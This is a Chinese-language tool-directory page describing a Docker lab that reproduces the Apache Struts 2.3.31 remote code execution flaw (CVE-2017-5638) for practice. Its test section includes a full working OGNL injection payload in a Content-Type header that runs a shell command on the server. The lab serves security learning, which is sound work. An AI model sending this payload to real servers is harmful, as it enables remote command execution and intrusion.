Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
vulnerability_struts-2.3.31 — Build the struts-2.3.31 (CVE-2017-5638) environment | Kitploit
工具/GitHubGitHub/testpilot031/vulnerability_struts-2.3.31
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubtestpilot031/vulnerability_struts-2.3.31

vulnerability_struts-2.3.31

Build the struts-2.3.31 (CVE-2017-5638) environment

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库
4年前尚未审核

vulnerability_struts-2.3.31

构建 struts-2.3.31 (CVE-2017-5638) 环境。 支持 HTTPS 请求。

环境

Ubuntu 20.04 Docker 20.10.12 curl 7.68.0

服务器启动

我们将使用 tomcat:7.0-jre8 docker 镜像。 在您选择的目录中解压 struts-2.3.31.zip。 cd struts-2.3.31 sudo docker build -t struts/2_3_31 . sudo docker run -it --rm -p 8443:8443 struts/2_3_31

测试请求

一(期望 200 OK) curl --location --request GET 'https://127.0.0.1:8443/struts2-showcase/showcase.action' -k -I

另一个(期望 200 OK) curl --location --request GET 'https://127.0.0.1:8443/struts2-showcase/showcase.action' --header 'Content-Type: %{(#_='''multipart/form-data''').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['''com.opensymphony.xwork2.ActionContext.container''']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='''ls''').(#iswin=(@java.lang.System@getProperty('''os.name''').toLowerCase().contains('''win'''))).(#cmds=(#iswin?{'''cmd.exe''','''/c''',#cmd}:{'''/bin/bash''','''-c''',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}' -k

详细信息

struts2-showcase.war 下载自下方: https://archive.apache.org/dist/struts/2.3.31/

server.xml 是 Tomcat 配置文件。 已修改以启用 SSL。

下载工具